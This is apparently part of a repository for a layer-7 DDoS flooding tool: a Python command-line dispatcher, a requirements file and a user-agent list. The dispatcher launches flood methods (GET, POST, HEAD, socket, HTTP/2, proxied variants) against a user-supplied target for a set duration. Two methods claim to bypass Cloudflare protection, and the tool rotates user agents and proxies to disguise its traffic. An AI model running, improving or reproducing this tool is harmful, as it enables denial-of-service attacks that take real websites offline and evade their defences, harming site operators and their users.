1122 | ua = open('./resources/ua.txt', 'r').read().split('\n')
1123 | method = sys.argv[1].rstrip()
1124 | target = sys.argv[2].rstrip()
1125 | thread = sys.argv[3].rstrip()
1126 | t = sys.argv[4].rstrip()
1127 | if method == "cfb":
1128 | timer = threading.Thread(target=countdown, args=(t,))
1129 | timer.start()
1130 | LaunchCFB(target, thread, t)
1131 | timer.join()
1132 | elif method == "pxcfb":
1133 | if get_proxies():
1134 | timer = threading.Thread(target=countdown, args=(t,))
1135 | timer.start()
1136 | LaunchPXCFB(target, thread, t)
1137 | timer.join()
1138 | elif method == "get":
1139 | timer = threading.Thread(target=countdown, args=(t,))
1140 | timer.start()
1141 | LaunchRAW(target, thread, t)
1142 | timer.join()
1143 | elif method == "post":
1144 | timer = threading.Thread(target=countdown, args=(t,))
1145 | timer.start()
1146 | LaunchPOST(target, thread, t)
1147 | timer.join()
1148 | elif method == "head":
1149 | timer = threading.Thread(target=countdown, args=(t,))
1150 | timer.start()
1151 | LaunchHEAD(target, thread, t)
1152 | timer.join()
1153 | elif method == "pxraw":
1154 | if get_proxies():
1155 | timer = threading.Thread(target=countdown, args=(t,))
1156 | timer.start()
1157 | LaunchPXRAW(target, thread, t)
1158 | timer.join()
1159 | elif method == "soc":
1160 | timer = threading.Thread(target=countdown, args=(t,))
1161 | timer.start()
1162 | LaunchSOC(target, thread, t)
1163 | timer.join()
1164 | elif method == "pxsoc":
1165 | if get_proxies():
1166 | timer = threading.Thread(target=countdown, args=(t,))
1167 | timer.start()
1168 | LaunchPXSOC(target, thread, t)
1169 | timer.join()
1170 | elif method == "cfreq":
1171 | stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Bypassing CF... (Max 60s)\n")
1172 | if get_cookie(target):
1173 | timer = threading.Thread(target=countdown, args=(t,))
1174 | timer.start()
1175 | LaunchCFPRO(target, thread, t)
1176 | timer.join()
1177 | else:
1178 | stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Failed to bypass cf\n")
1179 | elif method == "cfsoc":
1180 | stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Bypassing CF... (Max 60s)\n")
1181 | if get_cookie(target):
1182 | timer = threading.Thread(target=countdown, args=(t,))
1183 | timer.start()
1184 | LaunchCFSOC(target, thread, t)
1185 | timer.join()
1186 | else:
1187 | stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Failed to bypass cf\n")
1188 | elif method == "http2":
1189 | target, thread, t = get_info_l7()
1190 | timer = threading.Thread(target=countdown, args=(t,))
1191 | timer.start()
1192 | LaunchHTTP2(target, thread, t)
1193 | timer.join()
1194 | elif method == "pxhttp2":
1195 | if get_proxies():
1196 | target, thread, t = get_info_l7()
1197 | timer = threading.Thread(target=countdown, args=(t,))
1198 | timer.start()
1199 | LaunchPXHTTP2(target, thread, t)
1200 | timer.join()
1201 | elif method == "pxsky":
1202 | if get_proxies():
1203 | target, thread, t = get_info_l7()
1204 | threading.Thread(target=attackSKY, args=(target, t, thread)).start()
1205 | timer = threading.Thread(target=countdown, args=(t,))
1206 | timer.start()
1207 | timer.join()
1208 | elif method == "sky":
1209 | target, thread, t = get_info_l7()
1210 | threading.Thread(target=attackSTELLAR, args=(target, t, thread)).start()
1211 | timer = threading.Thread(target=countdown, args=(t,))
1212 | timer.start()
1213 | timer.join()
1214 | else:
1215 | stdout.write("No method found.\nMethod: cfb, pxcfb, cfreq, cfsoc, pxsky, sky, http2, pxhttp2, get, post, head, soc, pxraw, pxsoc\n")
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | cloudscraper
2 | socks
3 | pysocks
4 | colorama
5 | undetected_chromedriver
6 | httpx
--------------------------------------------------------------------------------
/resources/ua.txt:
--------------------------------------------------------------------------------
1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12
3 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
4 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9
5 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12D508 Safari/600.1.4
6 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
7 | Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
8 | Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
9 | Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
10 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
11 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
12 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
13 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
14 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
15 | Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
16 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
17 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/50.0.125 Chrome/44.0.2403.125 Safari/537.36
18 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
19 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
20 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0
21 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
22 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)
23 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
24 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
25 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) LinkCheck by Siteimprove.com
26 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
27 | Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
28 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
29 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
30 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
31 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
32 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
33 | Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.2.2339 Mobile Safari/537.35+
34 | Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
35 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
36 | Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
37 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
38 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 525) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
39 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
40 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Gecko/20100101 Firefox/37.0
41 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/44.0.2403.89 Chrome/44.0.2403.89 Safari/537.36
42 | Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
43 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) QuickLook/5.0
44 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
45 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko
46 | Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
47 | Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
48 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
49 | Mozilla/5.0 (Windows NT 6.0; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
50 | Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z667G Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
51 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
52 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko
53 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
54 | Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
55 | Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
56 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
57 | Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4
58 | Mozilla/5.0 (Windows NT 6.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
59 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4
60 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
61 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
62 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
63 | Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
64 | Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
65 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
66 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4
67 | Mozilla/5.0 (X11; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0
68 | Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4
69 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
70 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0
71 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2
72 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
73 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
74 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
75 | Mozilla/5.0 (Mobile; rv:32.0) Gecko/32.0 Firefox/32.0
76 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0; McAfee; AmericasCardroom; BRI/2; GWX:DOWNLOADED)
77 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
78 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/7.0)
79 | Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4
80 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2483.0 Safari/537.36
81 | Mozilla/5.0 (Windows NT 5.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
82 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MS-RTC LM 8)
83 | Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0
84 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12B466 [FBAN/FBIOS;FBAV/37.0.0.21.273;FBBV/13822349;FBDV/iPhone6,1;FBMD/iPhone;FBSN/iPhone OS;FBSV/8.1.3;FBSS/2; FBCR/fido;FBID/phone;FBLC/fr_FR;FBOP/5]
85 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0 Cyberfox/40.0
86 | Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Mercury/8.7 Mobile/11B554a Safari/9537.53
87 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; GWX:QUALIFIED; MASMJS)
88 | Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
89 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP06; rv:11.0) like Gecko
90 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; ARM; Trident/7.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0)
91 | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.19) Gecko/2010062819 Firefox/3.0.19 Flock/2.6.1
92 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
93 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
94 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
95 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25
96 | Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
97 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25
98 | Mozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
99 | Mozilla/5.0 (Linux; Android 4.4; Nexus 5 Build/_BuildID_) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36
100 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0
101 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10
102 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; MAARJS)
103 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/537+ (KHTML, like Gecko) Version/5.0 Safari/537.6+ Midori/0.4
104 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
105 | Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143 [FBAN/FBIOS;FBAV/37.0.0.21.273;FBBV/13822349;FBDV/iPad2,5;FBMD/iPad;FBSN/iPhone OS;FBSV/8.4;FBSS/1; FBCR/;FBID/tablet;FBLC/en_US;FBOP/1]
106 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
107 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
108 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET CLR 1.1.4322)
109 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:40.0) Gecko/20100101 Firefox/40.0
110 | Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)
111 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
112 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:35.0) Gecko/20100101 Firefox/35.0
113 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
114 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36
115 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.81 Chrome/43.0.2357.81 Safari/537.36
116 | Mozilla/5.0 (Windows NT 6.2; rv:36.0) Gecko/20100101 Firefox/36.0
117 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)
118 | Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Large Screen Safari/534.24 GoogleTV/092754
119 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
120 | Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0
121 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html)
122 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; FunWebProducts; rv:11.0) like Gecko
123 | Mozilla/5.0 (Linux; Android 4.4.2; 0PCV1 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
124 | Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2423.0 Safari/537.36
125 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
126 | Mozilla/5.0 (Windows NT 6.0; rv:40.0) Gecko/20100101 Firefox/40.0
127 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
128 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
129 | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
130 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Safari/537.36
131 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-I9505 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
132 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
133 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9
134 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
135 | Mozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
136 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:37.0) Gecko/20100101 Firefox/37.0
137 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:40.0) Gecko/20100101 Firefox/40.0
138 | Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-N8013 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
139 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/7.1.8 Safari/537.85.17
140 | SAMSUNG-GT-E2350B/1.0 Openwave/6.2.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0
141 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0
142 | Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)
143 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
144 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
145 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
146 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; 0PCV1 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
147 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0) Gecko/20100101 Firefox/36.0
148 | Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko
149 | Mozilla/5.0 (Windows NT 6.1; rv:37.0) Gecko/20100101 Firefox/37.0
150 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
151 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B436 Safari/600.1.4
152 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Zune 4.7; Tablet PC 2.0)
153 | Mozilla/5.0 (Windows NT 6.2; rv:38.0) Gecko/20100101 Firefox/38.0
154 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:37.0) Gecko/20100101 Firefox/37.0
155 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
156 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:40.0) Gecko/20100101 Firefox/40.0
157 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
158 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:36.0) Gecko/20100101 Firefox/36.0
159 | Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0
160 | Mozilla/5.0 (Windows NT 6.2; rv:37.0) Gecko/20100101 Firefox/37.0
161 | Mozilla/5.0 (Windows NT 5.1; rv:37.0) Gecko/20100101 Firefox/37.0
162 | Mozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0
163 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:36.0) Gecko/20100101 Firefox/36.0
164 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36
165 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/6.2.6 Safari/537.85.15
166 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
167 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
168 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
169 | Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MASMJS; rv:11.0) like Gecko
170 | Mozilla/5.0 (Windows NT 6.2; rv:35.0) Gecko/20100101 Firefox/35.0
171 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:35.0) Gecko/20100101 Firefox/35.0
172 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)
173 | Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.130 Chrome/43.0.2357.130 Safari/537.36
174 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:37.0) Gecko/20100101 Firefox/37.0
175 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Dragon/44.5.7.268 Chrome/44.0.2403.125 Safari/537.36
176 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
